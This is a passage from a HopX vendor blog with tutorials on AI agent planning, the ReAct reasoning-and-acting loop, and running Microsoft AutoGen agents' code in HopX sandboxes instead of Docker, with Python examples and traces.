data = """{data}"""
question = """{question}"""
# Analyze the data
# This would be more sophisticated in production
analysis = {{
"data_summary": data[:500],
"question": question,
"findings": "Analysis results would go here"
}}
print(json.dumps(analysis))
'''
sandbox.files.write("/app/analyze.py", analysis_code)
result = sandbox.commands.run("python /app/analyze.py")
return json.loads(result.stdout)
finally:
sandbox.kill()
def _synthesize(self, findings: list) -> dict:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"Synthesize these findings into key insights:\n{json.dumps(findings)}"
}]
)
return {"synthesis": response.choices[0].message.content}
def _generate_report(self, topic: str, findings: list) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Generate a well-structured research report."
}, {
"role": "user",
"content": f"Topic: {topic}\n\nFindings:\n{json.dumps(findings, indent=2)}"
}]
)
return response.choices[0].message.content
# Usage
agent = ResearchAgent()
result = agent.research("Current trends in AI agent architectures")
print(result["report"])
```
## Best Practices
### 1. Right-Size Your Plans
```python
# ❌ Too granular - overhead exceeds benefit
plan = [
"Open file",
"Read first line",
"Parse first field",
"Convert to integer",
... # 50 more steps
]
# ❌ Too coarse - steps are still too complex
plan = [
"Build the entire backend",
"Build the entire frontend"
]
# ✅ Just right - each step is meaningful but manageable
plan = [
"Design database schema",
"Implement user authentication",
"Create REST API for products",
"Build product listing page",
"Add shopping cart functionality"
]
```
### 2. Include Verification Steps
```python
plan = [
{"step": "Write user registration endpoint", "type": "action"},
{"step": "Test registration with valid data", "type": "verify"},
{"step": "Test registration with invalid data", "type": "verify"},
{"step": "Write login endpoint", "type": "action"},
{"step": "Test login flow", "type": "verify"},
]
```
### 3. Plan for Failure
```python
class RobustPlan:
def __init__(self):
self.steps = []
self.fallbacks = {} # step_id -> fallback_step
def add_step(self, step: PlanStep, fallback: PlanStep = None):
self.steps.append(step)
if fallback:
self.fallbacks[step.id] = fallback
def get_fallback(self, failed_step_id: str) -> PlanStep | None:
return self.fallbacks.get(failed_step_id)
```
### 4. Show Progress
```python
def execute_with_progress(plan: Plan, callback):
total = len(plan.steps)
for i, step in enumerate(plan.steps):
callback({
"step": i + 1,
"total": total,
"percent": (i + 1) / total * 100,
"description": step.description,
"status": "in_progress"
})
result = execute_step(step)
callback({
"step": i + 1,
"total": total,
"percent": (i + 1) / total * 100,
"description": step.description,
"status": "completed",
"result_preview": result[:100]
})
```
## When NOT to Use Planning
Planning adds overhead. Skip it when:
| Scenario | Why Skip Planning |
|----------|-------------------|
| Simple, single-step tasks | "What's 2+2?" doesn't need a plan |
| Real-time responses needed | Planning adds latency |
| Highly unpredictable tasks | Plan will be wrong anyway |
| Exploratory/creative work | Structure can limit creativity |
## Planning + Other Patterns
Planning combines powerfully with other agentic patterns:
### Planning + Reflection
```python
def plan_with_reflection(goal: str) -> Plan:
# Generate initial plan
plan = create_plan(goal)
# Reflect on the plan
critique = reflect_on_plan(plan)
# Improve if needed
if not critique.approved:
plan = improve_plan(plan, critique)
return plan
```
### Planning + Tool Use
```python
def execute_planned_step(step: PlanStep, tools: dict):
# Determine which tools are needed
required_tools = identify_tools(step)
# Execute with tools
for tool_name in required_tools:
result = tools[tool_name].execute(step.parameters)
step.add_result(tool_name, result)
```
### Planning + Multi-Agent
```python
def distributed_plan_execution(plan: Plan, agents: dict):
# Assign steps to specialized agents
for step in plan.steps:
agent = agents[step.agent_type]
agent.queue_step(step)
# Execute in parallel where possible
results = await gather_results(agents)
return results
```
## Conclusion
Planning is the foundation of reliable AI agents:
- **Decompose** complex goals into manageable steps
- **Order** steps by dependencies
- **Track** progress through execution
- **Adapt** when things don't go as expected
Start with linear planning for simple tasks. Add DAG planning when you need parallelism. Use hierarchical planning for complex, multi-faceted goals. Always build in the ability to replan.
The agent that plans beats the agent that doesn't. Every time.
---
Ready to build planning agents with code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that let your agents verify each step.
## Further Reading
- [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals
- [Prompt Chaining](/blog/ai-agents/prompt-chaining-sequential-ai-workflows) — Execute plans as chains
- [Tool Use](/blog/ai-agents/tool-use-pattern-ai-agents) — Give planning agents capabilities
- [The Reflection Pattern](/blog/ai-agents/reflection-pattern-self-correcting-ai) — Improve plans through self-review
- [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Distribute plan execution
---
## ReAct Pattern: Combining Reasoning and Acting in AI Agents
URL: https://hopx.ai/blog/ai-agents/react-pattern-reasoning-acting/
Category: AI Agents
Published: 2025-11-27
# ReAct Pattern: Combining Reasoning and Acting in AI Agents
Most AI agents fail silently. They take an action, it doesn't work, and they flounder—or worse, they confidently do the wrong thing without realizing it.
**ReAct fixes this by making agents think out loud.**
ReAct (Reasoning + Acting) is a pattern where agents explicitly verbalize their reasoning before each action, observe the results, and reason again. It's simple, powerful, and dramatically improves agent reliability.
This guide shows you how to implement ReAct from scratch and when to use it over other patterns.
## What Is ReAct?
ReAct interleaves **thinking** and **acting** in a continuous loop:
```
┌─────────────────────────────────────────────────────────────┐
│ ReAct Loop │
├─────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────┐ ┌───────────┐ │
│ │ THOUGHT │───▶│ ACTION │───▶│OBSERVATION│ │
│ │ │ │ │ │ │ │
│ │ "I need │ │ search( │ │ "Results: │ │
│ │ to find │ │ 'weather│ │ London │ │
│ │ the │ │ London'│ │ 15°C, │ │
│ │ weather"│ │ ) │ │ cloudy" │ │
│ └──────────┘ └──────────┘ └─────┬─────┘ │
│ ▲ │ │
│ │ │ │
│ └───────────────────────────────┘ │
│ (repeat) │
│ │
│ Until: Task complete OR max steps reached │
│ │
└─────────────────────────────────────────────────────────────┘
```
Each iteration has three parts:
1. **Thought**: The agent reasons about what to do next
2. **Action**: The agent executes a tool or action
3. **Observation**: The agent sees the result
This continues until the agent decides it has enough information to answer.
## Why ReAct Works
### 1. Explicit Reasoning Catches Errors
When agents reason silently, errors compound. When they reason out loud, problems surface early:
```
# Silent agent (problematic)
Action: search("Python web frameworks")
Action: search("Django vs Flask")
Action: write_report(...) # Report may be wrong, hard to debug
# ReAct agent (transparent)
Thought: I need to find popular Python web frameworks
Action: search("Python web frameworks 2024")
Observation: Django, Flask, FastAPI are the top 3...
Thought: I should compare these frameworks. Let me focus on FastAPI
since it wasn't in my training data and is newest.
Action: search("FastAPI features performance")
Observation: FastAPI is async-first, automatic OpenAPI docs...
Thought: Now I have enough information to write a comparison.
Action: write_report(...) # Each step is traceable
```
### 2. Grounded in Observations
Pure reasoning (Chain-of-Thought) can hallucinate. ReAct grounds reasoning in real observations:
```
# Chain-of-Thought (can hallucinate)
Thought: The capital of Australia is Sydney because it's the largest city.
Answer: Sydney # WRONG
# ReAct (grounded in facts)
Thought: I should verify the capital of Australia
Action: search("capital of Australia")
Observation: The capital of Australia is Canberra, not Sydney...
Thought: The observation confirms it's Canberra, not Sydney as I initially thought.
Answer: Canberra # CORRECT
```
### 3. Flexible Problem Solving
The agent can adapt its approach based on observations:
```
Thought: I'll try to get the weather from the primary API
Action: api_call("weather.primary.com/london")
Observation: Error 503 - Service unavailable
Thought: Primary API is down. I'll try the backup API instead.
Action: api_call("weather.backup.com/london")
Observation: {"temp": 15, "condition": "cloudy"}
Thought: Got the weather from backup. I can now answer the question.
```
## Basic ReAct Implementation
Here's a complete, minimal ReAct agent:
```python
import openai
import json
import re
class ReActAgent:
def __init__(self, tools: dict):
self.client = openai.OpenAI()
self.tools = tools
self.max_steps = 10
def run(self, task: str) -> str:
"""Execute task using ReAct loop"""
prompt = self._build_initial_prompt(task)
for step in range(self.max_steps):
# Get next thought and action from LLM
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{"role": "user", "content": prompt}],
stop=["Observation:"] # Stop before observation
)
output = response.choices[0].message.content
prompt += output
# Check if agent wants to finish
if "Final Answer:" in output:
return self._extract_final_answer(output)
# Extract and execute action
action, action_input = self._parse_action(output)
if action is None:
prompt += "\nObservation: Could not parse action. Please use format 'Action: tool_name[input]'\n"
continue
# Execute the action
observation = self._execute_action(action, action_input)
prompt += f"\nObservation: {observation}\n"
return "Max steps reached without finding answer."
def _build_initial_prompt(self, task: str) -> str:
tool_descriptions = "\n".join([
f"- {name}: {func.__doc__ or 'No description'}"
for name, func in self.tools.items()
])
return f"""Answer the following question using the available tools.
Available tools:
{tool_descriptions}
Use this format:
Thought: [Your reasoning about what to do next]
Action: tool_name[input]
Observation: [Result of the action - will be provided]
... (repeat Thought/Action/Observation as needed)
Thought: I now have enough information to answer.
Final Answer: [Your final answer]
Question: {task}
"""
def _parse_action(self, text: str) -> tuple:
"""Extract action and input from LLM output"""
# Match pattern: Action: tool_name[input]
match = re.search(r'Action:\s*(\w+)\[([^\]]*)\]', text)
if match:
return match.group(1), match.group(2)
# Alternative format: Action: tool_name("input")
match = re.search(r'Action:\s*(\w+)\("([^"]*)"\)', text)
if match:
return match.group(1), match.group(2)
return None, None
def _execute_action(self, action: str, action_input: str) -> str:
"""Execute the specified action"""
if action not in self.tools:
return f"Error: Unknown tool '{action}'. Available: {list(self.tools.keys())}"
try:
result = self.tools[action](action_input)
return str(result)
except Exception as e:
return f"Error executing {action}: {str(e)}"
def _extract_final_answer(self, text: str) -> str:
"""Extract the final answer from output"""
match = re.search(r'Final Answer:\s*(.+)', text, re.DOTALL)
if match:
return match.group(1).strip()
return text
# Define tools
def search(query: str) -> str:
"""Search the web for information"""
# In production, use a real search API
return f"Search results for '{query}': ..."
def calculate(expression: str) -> str:
"""Evaluate a mathematical expression"""
try:
return str(eval(expression))
except:
return "Error: Could not evaluate expression"
def lookup(term: str) -> str:
"""Look up a term in the knowledge base"""
knowledge = {
"python": "A high-level programming language",
"react": "A JavaScript library for building UIs",
}
return knowledge.get(term.lower(), f"No entry found for '{term}'")
# Usage
agent = ReActAgent(tools={
"search": search,
"calculate": calculate,
"lookup": lookup
})
result = agent.run("What is 25% of the population of France?")
print(result)
```
Example trace:
```
Thought: I need to find the population of France first, then calculate 25% of it.
Action: search[population of France 2024]
Observation: The population of France is approximately 68 million people.
Thought: Now I can calculate 25% of 68 million.
Action: calculate[68000000 * 0.25]
Observation: 17000000.0
Thought: I now have the answer.
Final Answer: 25% of France's population is 17 million people.
```
## ReAct with Code Execution
For agents that can run code, ReAct is particularly powerful:
```python
from hopx import Sandbox
import openai
import re
class CodeReActAgent:
def __init__(self):
self.client = openai.OpenAI()
self.sandbox = None
self.max_steps = 15
def run(self, task: str) -> str:
# Create sandbox for the session
self.sandbox = Sandbox.create(template="code-interpreter")
try:
return self._react_loop(task)
finally:
self.sandbox.kill()
def _react_loop(self, task: str) -> str:
prompt = self._build_prompt(task)
for step in range(self.max_steps):
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{"role": "user", "content": prompt}],
stop=["Observation:"]
)
output = response.choices[0].message.content
prompt += output
print(f"\n--- Step {step + 1} ---")
print(output)
if "Final Answer:" in output:
return self._extract_answer(output)
# Parse action
action_type, action_content = self._parse_action(output)
if action_type == "python":
observation = self._run_code(action_content)
elif action_type == "bash":
observation = self._run_bash(action_content)
elif action_type == "read_file":
observation = self._read_file(action_content)
elif action_type == "write_file":
path, content = action_content.split("|||", 1)
observation = self._write_file(path.strip(), content.strip())
else:
observation = f"Unknown action type: {action_type}"
prompt += f"\nObservation: {observation}\n"
print(f"Observation: {observation[:500]}...")
return "Max steps reached"
def _build_prompt(self, task: str) -> str:
return f"""You are an AI assistant that solves tasks by writing and executing code.
Available actions:
- python[code]: Execute Python code
- bash[command]: Run a bash command
- read_file[path]: Read a file
- write_file[path|||content]: Write content to a file
Format:
Thought: [Your reasoning]
Action: action_type[content]
Observation: [Will be provided]
Rules:
- Always think before acting
- Check observations carefully for errors
- Use print() to see outputs in Python
- When done, provide Final Answer:
Task: {task}
"""
def _parse_action(self, text: str) -> tuple:
# Match: Action: python[...]
match = re.search(r'Action:\s*(\w+)\[(.*?)\](?:\s*$|\n)', text, re.DOTALL)
if match:
return match.group(1), match.group(2)
# Match multi-line code blocks
match = re.search(r'Action:\s*(\w+)\[(.*)\]', text, re.DOTALL)
if match:
return match.group(1), match.group(2)
return None, None
def _run_code(self, code: str) -> str:
self.sandbox.files.write("/app/script.py", code)
result = self.sandbox.commands.run("python /app/script.py", timeout=30)
if result.exit_code == 0:
return result.stdout if result.stdout else "(No output)"
else:
return f"Error (exit code {result.exit_code}):\n{result.stderr}"
def _run_bash(self, command: str) -> str:
result = self.sandbox.commands.run(command, timeout=30)
output = result.stdout + result.stderr
return output if output else "(No output)"
def _read_file(self, path: str) -> str:
try:
return self.sandbox.files.read(path)
except Exception as e:
return f"Error reading file: {e}"
def _write_file(self, path: str, content: str) -> str:
try:
self.sandbox.files.write(path, content)
return f"Successfully wrote to {path}"
except Exception as e:
return f"Error writing file: {e}"
def _extract_answer(self, text: str) -> str:
match = re.search(r'Final Answer:\s*(.+)', text, re.DOTALL)
return match.group(1).strip() if match else text
# Usage
agent = CodeReActAgent()
result = agent.run("""
Download the iris dataset, train a simple classifier,
and report the accuracy.
""")
print(f"\nFinal Result:\n{result}")
```
Example trace:
```
--- Step 1 ---
Thought: I need to download the iris dataset and train a classifier.
I'll use scikit-learn which has the iris dataset built-in.
Action: python[
from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import accuracy_score
# Load data
iris = load_iris()
X, y = iris.data, iris.target
# Split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
# Train
clf = RandomForestClassifier(n_estimators=100)
clf.fit(X_train, y_train)
# Evaluate
predictions = clf.predict(X_test)
accuracy = accuracy_score(y_test, predictions)
print(f"Accuracy: {accuracy:.2%}")
]
Observation: Accuracy: 96.67%
--- Step 2 ---
Thought: The classifier trained successfully with 96.67% accuracy.
I have enough information to provide the final answer.
Final Answer: I trained a Random Forest classifier on the Iris dataset
and achieved 96.67% accuracy on the test set.
```
## ReAct Variations
### 1. ReAct with Self-Reflection
Add a reflection step after observations:
```python
def _build_prompt_with_reflection(self, task: str) -> str:
return f"""...
Format:
Thought: [Your reasoning about what to do]
Action: action_type[content]
Observation: [Result - will be provided]
Reflection: [What did I learn? Did it work? What should I do next?]
..."""
```
### 2. ReAct with Critique
Add an inner critic to catch mistakes:
```python
class CriticalReActAgent(ReActAgent):
def _react_step(self, thought: str, action: str) -> str:
# First, critique the proposed action
critique = self._critique_action(thought, action)
if "PROBLEM:" in critique:
# Revise action based on critique
revised = self._revise_action(thought, action, critique)
return self._execute_action(*self._parse_action(revised))
return self._execute_action(*self._parse_action(action))
def _critique_action(self, thought: str, action: str) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"""Critique this action. Is it correct and safe?
Thought: {thought}
Action: {action}
If there's a problem, start with "PROBLEM:" and explain.
If it looks good, say "APPROVED"."""
}]
)
return response.choices[0].message.content
```
### 3. Parallel ReAct
Run multiple ReAct chains and merge:
```python
import asyncio
async def parallel_react(task: str, perspectives: list[str]) -> str:
"""Run multiple ReAct agents with different perspectives"""
async def run_with_perspective(perspective: str):
prompt = f"You are a {perspective}. {task}"
return await react_agent.run_async(prompt)
results = await asyncio.gather(*[
run_with_perspective(p) for p in perspectives
])
# Merge results
return merge_answers(results)
# Usage
answer = await parallel_react(
"What are the pros and cons of microservices?",
perspectives=["software architect", "DevOps engineer", "developer"]
)
```
## ReAct vs Other Patterns
### ReAct vs Chain-of-Thought
| Aspect | Chain-of-Thought | ReAct |
|--------|-----------------|-------|
| Actions | None | Yes |
| Grounded | No (can hallucinate) | Yes (observations) |
| Debuggable | Partially | Very |
| Token usage | Lower | Higher |
| Best for | Reasoning tasks | Action tasks |
### ReAct vs Plan-and-Execute
| Aspect | ReAct | Plan-and-Execute |
|--------|-------|------------------|
| Planning | Step by step | Upfront |
| Adaptability | High | Lower |
| Predictability | Lower | Higher |
| Overhead | Lower | Higher |
| Best for | Dynamic tasks | Known workflows |
### When to Use ReAct
✅ **Use ReAct when:**
- Tasks require both reasoning and action
- You need to debug agent behavior
- The path to solution is unclear
- Real-time adaptation is needed
❌ **Avoid ReAct when:**
- Task is simple (one action)
- You need maximum speed
- Token budget is very limited
- Task is purely reasoning (no actions)
## Production Considerations
### 1. Structured Output for Parsing
Use JSON for more reliable parsing:
```python
def _build_prompt_structured(self, task: str) -> str:
return f"""...
Respond in JSON format:
{{
"thought": "your reasoning",
"action": {{
"tool": "tool_name",
"input": "tool input"
}}
}}
Or when finished:
{{
"thought": "final reasoning",
"final_answer": "your answer"
}}
..."""
```
### 2. Token Management
ReAct can consume many tokens. Manage context:
```python
class TokenAwareReActAgent:
def __init__(self, max_context_tokens: int = 8000):
self.max_tokens = max_context_tokens
self.history = []
def _manage_context(self, prompt: str) -> str:
"""Trim history if context too long"""
estimated_tokens = len(prompt) // 4
if estimated_tokens > self.max_tokens:
# Keep first (task) and last N steps
self.history = self.history[:1] + self.history[-5:]
prompt = self._rebuild_prompt()
return prompt
```
### 3. Error Recovery
Handle failures gracefully:
```python
def _execute_with_recovery(self, action: str, input: str, max_retries: int = 3):
for attempt in range(max_retries):
try:
result = self.tools[action](input)
return result
except Exception as e:
if attempt == max_retries - 1:
return f"Failed after {max_retries} attempts: {e}"
# Let agent know about failure
return f"Attempt {attempt + 1} failed: {e}. You can retry."
```
### 4. Observation Limits
Truncate long observations:
```python
def _truncate_observation(self, obs: str, max_length: int = 2000) -> str:
if len(obs) <= max_length:
return obs
return obs[:max_length] + f"\n... (truncated, {len(obs) - max_length} chars omitted)"
```
## Complete Production Example
```python
from hopx import Sandbox
import openai
import json
from datetime import datetime
class ProductionReActAgent:
def __init__(self):
self.client = openai.OpenAI()
self.max_steps = 20
self.trace = []
def run(self, task: str, tools: dict) -> dict:
"""Run ReAct loop and return structured result"""
self.trace = []
start_time = datetime.now()
# Create sandbox if code execution needed
sandbox = None
if "run_code" in tools:
sandbox = Sandbox.create(template="code-interpreter")
tools["run_code"] = lambda code: self._safe_execute(sandbox, code)
try:
messages = [
{"role": "system", "content": self._system_prompt(tools)},
{"role": "user", "content": task}
]
for step in range(self.max_steps):
# Get next action
response = self.client.chat.completions.create(
model="gpt-4o",
messages=messages,
response_format={"type": "json_object"}
)
output = json.loads(response.choices[0].message.content)
self.trace.append({
"step": step + 1,
"thought": output.get("thought"),
"action": output.get("action"),
"timestamp": datetime.now().isoformat()
})
# Check for completion
if "final_answer" in output:
return {
"success": True,
"answer": output["final_answer"],
"steps": step + 1,
"duration": (datetime.now() - start_time).seconds,
"trace": self.trace
}
# Execute action
action = output.get("action", {})
tool_name = action.get("tool")
tool_input = action.get("input")
if tool_name not in tools:
observation = f"Error: Unknown tool '{tool_name}'"
else:
try:
observation = str(tools[tool_name](tool_input))
except Exception as e:
observation = f"Error: {e}"
# Truncate long observations
if len(observation) > 3000:
observation = observation[:3000] + "... (truncated)"
self.trace[-1]["observation"] = observation
# Add to messages
messages.append({
"role": "assistant",
"content": json.dumps(output)
})
messages.append({
"role": "user",
"content": f"Observation: {observation}"
})
return {
"success": False,
"error": "Max steps reached",
"steps": self.max_steps,
"trace": self.trace
}
finally:
if sandbox:
sandbox.kill()
def _system_prompt(self, tools: dict) -> str:
tool_desc = "\n".join([
f"- {name}: {func.__doc__ or 'No description'}"
for name, func in tools.items()
])
return f"""You are a ReAct agent. Think step by step, take actions, observe results.
Available tools:
{tool_desc}
Always respond with JSON:
{{
"thought": "your reasoning about what to do next",
"action": {{
"tool": "tool_name",
"input": "tool input"
}}
}}
When you have the final answer:
{{
"thought": "I now have enough information",
"final_answer": "your complete answer"
}}
Be thorough but efficient. Verify important facts."""
def _safe_execute(self, sandbox: Sandbox, code: str) -> str:
"""Safely execute code in sandbox"""
sandbox.files.write("/app/code.py", code)
result = sandbox.commands.run("timeout 30 python /app/code.py")
if result.exit_code == 0:
return result.stdout or "(No output)"
elif result.exit_code == 124:
return "Error: Execution timed out after 30 seconds"
else:
return f"Error:\n{result.stderr}"
# Usage
agent = ProductionReActAgent()
def web_search(query: str) -> str:
"""Search the web for information"""
# Implement with your search API
return f"Results for '{query}': ..."
def calculator(expression: str) -> str:
"""Evaluate a math expression"""
return str(eval(expression))
def run_code(code: str) -> str:
"""Execute Python code safely"""
pass # Handled by agent
result = agent.run(
task="What is the GDP per capita of the top 3 economies?",
tools={
"search": web_search,
"calculate": calculator,
"run_code": run_code
}
)
print(f"Answer: {result['answer']}")
print(f"Steps: {result['steps']}")
print(f"Duration: {result['duration']}s")
# Inspect trace for debugging
for step in result['trace']:
print(f"\nStep {step['step']}:")
print(f" Thought: {step['thought']}")
print(f" Action: {step.get('action')}")
print(f" Observation: {step.get('observation', '')[:100]}...")
```
## Conclusion
ReAct is one of the most practical agentic patterns:
- **Transparent reasoning** — See exactly what the agent is thinking
- **Grounded actions** — Decisions based on real observations
- **Adaptive execution** — Adjusts approach based on results
- **Easy debugging** — Full trace of thought-action-observation
Start with basic ReAct for any task requiring tools. Add reflection for complex reasoning. Use structured output for production reliability.
The agent that thinks before acting outperforms the agent that acts blindly. Every time.
---
Ready to build ReAct agents with code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that let your agents think, act, and observe safely.
## Further Reading
- [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals
- [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Tools for ReAct agents
- [The Reflection Pattern](/blog/ai-agents/reflection-pattern-self-correcting-ai) — Add reflection to ReAct
- [Memory Pattern](/blog/ai-agents/memory-pattern-ai-agents) — Give ReAct agents memory
- [ReAct Paper](https://arxiv.org/abs/2210.03629) — Original research from Google
- [LangChain ReAct](https://python.langchain.com/docs/modules/agents/agent_types/react) — ReAct implementation
---
## Microsoft AutoGen with Isolated Code Execution Using HopX
URL: https://hopx.ai/blog/tutorials/autogen-hopx-isolated-execution/
Category: Tutorials
Published: 2025-11-26
# Microsoft AutoGen with Isolated Code Execution Using HopX
> ⚠️ **Update:** AutoGen is now in maintenance mode. Microsoft recommends migrating to [Agent Framework](/blog/tutorials/microsoft-agent-framework-hopx), the unified successor combining AutoGen and Semantic Kernel. This tutorial remains useful for existing AutoGen projects.
Microsoft's AutoGen framework makes building multi-agent systems remarkably intuitive. Agents converse, collaborate, and execute code—all through natural conversation. But AutoGen's default code execution relies on Docker or local execution, both problematic in production.
This tutorial shows how to replace AutoGen's execution backends with HopX sandboxes: faster startup, better isolation, and no Docker dependency.
## Why Replace Docker?
AutoGen's default `DockerCommandLineCodeExecutor` has issues:
| Challenge | Docker | HopX |
|-----------|--------|------|
| Cold start | 2-5 seconds | ~100ms |
| Resource overhead | Heavy | Minimal |
| Setup complexity | Docker daemon required | API key only |
| Security | Container escape risks | MicroVM isolation |
| Cleanup | Manual container management | Automatic |
## Architecture
```
┌─────────────────────────────────────────────────────────────────┐
│ AutoGen Conversation │
│ │
│ ┌────────────────┐ ┌────────────────┐ │
│ │ User Proxy │◀───────▶│ Assistant │ │
│ │ Agent │ │ Agent │ │
│ └────────────────┘ └────────────────┘ │
│ │ │ │
│ │ Code to execute │ Generate code │
│ ▼ │ │
│ ┌────────────────────────────────────────────────────────────┐ │
│ │ HopX Code Executor │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ MicroVM 1 │ │ MicroVM 2 │ │ MicroVM 3 │ │ │
│ │ │ (Python) │ │ (Bash) │ │ (Node) │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ │ 100ms startup, full isolation │ │
│ └────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
## Prerequisites
```bash
pip install pyautogen hopx-ai
```
Set environment variables:
```bash
export OPENAI_API_KEY="sk-..."
export HOPX_API_KEY="..."
```
## Step 1: Create the HopX Code Executor
Build an AutoGen-compatible executor using HopX:
```python
from autogen.coding import CodeExecutor, CodeBlock, CodeResult
from autogen.coding.base import CodeExtractor
from hopx import Sandbox
from typing import List, Optional, Union
import re
class HopXCodeExecutor(CodeExecutor):
"""Execute code in HopX sandboxes instead of Docker."""
def __init__(
self,
timeout: int = 60,
template: str = "code-interpreter",
sandbox_ttl: int = 300
):
self.timeout = timeout
self.template = template
self.sandbox_ttl = sandbox_ttl
self._sandbox: Optional[Sandbox] = None
@property
def sandbox(self) -> Sandbox:
"""Get or create sandbox (lazy initialization)."""
if self._sandbox is None:
self._sandbox = Sandbox.create(
template=self.template,
ttl=self.sandbox_ttl
)
return self._sandbox
def execute_code_blocks(
self,
code_blocks: List[CodeBlock]
) -> CodeResult:
"""Execute a list of code blocks and return the result."""
outputs = []
exit_code = 0
for block in code_blocks:
language = block.language.lower()
code = block.code
# Map language to HopX language
lang_map = {
"python": "python",
"python3": "python",
"py": "python",
"bash": "bash",
"sh": "bash",
"shell": "bash",
"javascript": "javascript",
"js": "javascript",
"typescript": "typescript",
"ts": "typescript"
}
exec_lang = lang_map.get(language, "python")
try:
result = self.sandbox.runCode(
code,
language=exec_lang,
timeout=self.timeout
)
output = ""
if result.stdout:
output += result.stdout
if result.stderr:
output += f"\nSTDERR:\n{result.stderr}"
outputs.append(output.strip())
if result.exitCode != 0:
exit_code = result.exitCode
except Exception as e:
outputs.append(f"Execution error: {str(e)}")
exit_code = 1
return CodeResult(
exit_code=exit_code,
output="\n\n".join(outputs)
)
def reset(self):
"""Reset the executor (destroy sandbox)."""
if self._sandbox:
try:
self._sandbox.kill()
except:
pass
self._sandbox = None
def __del__(self):
"""Cleanup on deletion."""
self.reset()
```
## Step 2: Basic Two-Agent Conversation
Create a simple assistant that can execute code:
```python
from autogen import AssistantAgent, UserProxyAgent, config_list_from_json
# LLM configuration
config_list = [
{
"model": "gpt-4o",
"api_key": os.environ["OPENAI_API_KEY"]
}
]
llm_config = {
"config_list": config_list,
"temperature": 0,
"timeout": 120
}
# Create executor
executor = HopXCodeExecutor(timeout=60)
# Assistant agent - generates code
assistant = AssistantAgent(
name="assistant",
llm_config=llm_config,
system_message="""You are a helpful AI assistant that can write and execute Python code.
When asked to solve problems:
1. Write clear, well-documented Python code
2. Use print() to show results
3. Handle potential errors gracefully
Available libraries: pandas, numpy, matplotlib, seaborn, scipy, scikit-learn, requests.
For visualizations, save to /app/plot.png using plt.savefig('/app/plot.png')
"""
)
# User proxy - handles code execution
user_proxy = UserProxyAgent(
name="user_proxy",
human_input_mode="NEVER", # No human intervention
code_execution_config={
"executor": executor
},
max_consecutive_auto_reply=10
)
# Start conversation
result = user_proxy.initiate_chat(
assistant,
message="Calculate the first 100 prime numbers and find their sum."
)
print("\nFinal result:", result.summary)
# Cleanup
executor.reset()
```
## Step 3: Persistent State Across Messages
For multi-turn conversations that need persistent state:
```python
class PersistentHopXExecutor(CodeExecutor):
"""Executor that maintains state across messages."""
def __init__(self, timeout: int = 60):
self.timeout = timeout
self._sandbox: Optional[Sandbox] = None
@property
def sandbox(self) -> Sandbox:
if self._sandbox is None:
self._sandbox = Sandbox.create(
template="code-interpreter",
ttl=600 # 10 minute TTL for long conversations
)
# Initialize with common imports
self._sandbox.runCode("""
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
import json
from datetime import datetime
print("Environment ready!")
""", language="python", timeout=30)
return self._sandbox
def execute_code_blocks(self, code_blocks: List[CodeBlock]) -> CodeResult:
outputs = []
exit_code = 0
for block in code_blocks:
try:
result = self.sandbox.runCode(
block.code,
language="python",
timeout=self.timeout
)
output = result.stdout or ""
if result.stderr and result.exitCode != 0:
output += f"\nError: {result.stderr}"
outputs.append(output.strip())
if result.exitCode != 0:
exit_code = result.exitCode
except Exception as e:
outputs.append(f"Error: {e}")
exit_code = 1
return CodeResult(exit_code=exit_code, output="\n\n".join(outputs))
def upload_file(self, local_path: str, sandbox_path: str):
"""Upload a file to the sandbox."""
with open(local_path, 'rb') as f:
self.sandbox.files.write(sandbox_path, f.read())
def download_file(self, sandbox_path: str) -> bytes:
"""Download a file from the sandbox."""
return self.sandbox.files.read(sandbox_path)
def reset(self):
if self._sandbox:
self._sandbox.kill()
self._sandbox = None
# Usage
executor = PersistentHopXExecutor()
# Multiple turns that build on each other
user_proxy.initiate_chat(assistant, message="Load pandas and create a DataFrame called 'df' with columns A, B, C and 100 random rows")
user_proxy.send(assistant, message="Add a column D that is A + B * C")
user_proxy.send(assistant, message="Show statistics and save a histogram of column D")
# State persists across all messages!
```
## Step 4: Multi-Agent Group Chat
Build a team of specialized agents:
```python
from autogen import GroupChat, GroupChatManager
# Create specialized agents
coder = AssistantAgent(
name="Coder",
llm_config=llm_config,
system_message="""You are an expert Python programmer.
Write clean, efficient code. Focus on implementation.
Always include docstrings and comments."""
)
analyst = AssistantAgent(
name="Analyst",
llm_config=llm_config,
system_message="""You are a data analyst.
Interpret code outputs and explain findings in plain English.
Ask clarifying questions if needed."""
)
reviewer = AssistantAgent(
name="Reviewer",
llm_config=llm_config,
system_message="""You are a code reviewer.
Check for bugs, suggest improvements, verify correctness.
Be constructive and specific."""
)
# User proxy with HopX executor
executor = PersistentHopXExecutor()
user_proxy = UserProxyAgent(
name="User",
human_input_mode="NEVER",
code_execution_config={"executor": executor}
)
# Create group chat
group_chat = GroupChat(
agents=[user_proxy, coder, analyst, reviewer],
messages=[],
max_round=15
)
manager = GroupChatManager(
groupchat=group_chat,
llm_config=llm_config
)
# Start the conversation
user_proxy.initiate_chat(
manager,
message="""
Analyze this problem:
We have sales data with columns: date, product, region, amount.
Create synthetic data, then:
1. Calculate total sales by product
2. Find the best performing region
3. Identify monthly trends
4. Create a visualization
Work together to solve this step by step.
"""
)
executor.reset()
```
